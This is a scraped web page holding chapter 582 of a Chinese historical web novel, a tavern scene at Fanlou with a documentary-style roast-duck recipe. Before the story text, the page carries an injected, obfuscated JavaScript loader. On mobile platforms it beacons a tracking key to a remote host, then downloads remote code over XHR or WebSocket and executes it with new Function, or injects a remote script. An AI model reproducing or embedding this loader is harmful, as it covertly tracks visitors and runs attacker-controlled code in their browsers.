足迹
宋朝败家子百度百科
登录
关灯
护眼
字体:

第五百八十二章舌尖体(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

[https:]

“什么味道这么香?”

樊楼的食客们都被后厨这诱人的香味给吸引了,香气扑鼻,让人不由得垂涎欲滴起来。

“烤鸭的香气。”一名小厮伸了伸鼻子。

“行家呀。”石小凡一进来,就听到一个一脸贼忒嬉嬉的小厮在那拼命嗅。

这小厮个头不高,粗布衣衫,看起来机灵的很。

店小二的却很讨厌他的样子,他过去推了那小厮一把“去去去,没事去别家吃去。”

那小厮立刻不乐意了“嗨,我说掌柜的。我可都是付了钱的,你什么意思,哪有赶客人走的道理。来来来,大伙儿给评评这个理。你开酒楼可是和气生财,怎么能驱赶客人呢。”

那樊楼掌柜的只好走了过来,他怕这小厮闹事,只好对店小二道“你先去伺候驸马爷,这里由我来。”

掌柜的对那小厮道“管小北,这钱是你付的么。”

“怎么,这钱虽说不是我付的,可这也不是白吃你家的。”

掌柜的懒得跟他计较“行行行,你吃可以,别给我闹事。”

这么嚣张的人?石小凡有了一丝兴趣,他对店小二道“这什么人?”

店小二哭丧着一张脸“回驸马爷,这就是个无赖。他每次都到樊楼来,吃的都是客人吃剩下的菜。我们开店做生意和气生财,也不好往外赶。打他一顿吧,他就往地上一躺,下次还是我行我素。我们掌柜看他可怜,也就由他去了。”

那小厮正往嘴里塞着一条客人吃剩下的鸡腿,他也不嫌脏。他一听店小二叫石小凡驸马爷,吓得登时怔住了。

石小凡看了眼他,这才发现这叫管小北的小厮是个瘸子,他左腋下还拄着一根拐杖。

“行了,给他点几个菜,记我账上。烤鸭,也给他送过去一只。”石小凡说道。

这真是天降财神爷,管小北一听慌忙对着石小凡点头哈腰以示感谢。

赵嫕皱了皱眉头“小凡,咱们上楼去吃吧。”

她不喜欢与这些市井粗人打交道,石小凡点了点头“好,掌柜的,把烤鸭给我们端上去,老子倒要尝尝,你们厨子做的口味怎么样。”

烤鸭的做法是非常讲究的,下面是樊楼舌尖体的一段描述:

‘清晨的樊楼是忙碌的,厨子们一大早就起来了一天的工作。

用最简单的食材,往往能做出最美味的食物。烤鸭,这道由驸马爷独创,如今在樊楼厨子们流传的手艺,开始了他的表演。

刀功与手法的密切配合,使得原本肥硕的鸭子褪尽了毛,厨子熟练的动作下,一只完整的鸭子被洗干净。

在鸭翅下开一小口,取出内脏,掏膛时动作要快,要做到内脏完整不碎,断去鸭脚和翅膀,然后进行涮膛,把鸭腔、鸭颈、鸭嘴洗涮干净,将回头肠及腔内的软组织取出,要使鸭皮无血污便可大功告成。

将鸭体用麦芽糖沸水浇烫,从上至下浇烫数次,然后用糖水浇淋鸭身。

将已烫皮挂色的鸭子挂在阴凉通风处,使鸭子皮肤干燥,经一昼夜的挂晾,此时的鸭子却并不能上炉。

东京烤鸭人根据驸马爷口述的手艺,在樊楼大展拳脚。

最后一道工序才是烤鸭的关键,晾好的鸭子还要放入冰窖冷藏三个时辰以除去肉质的酸腥。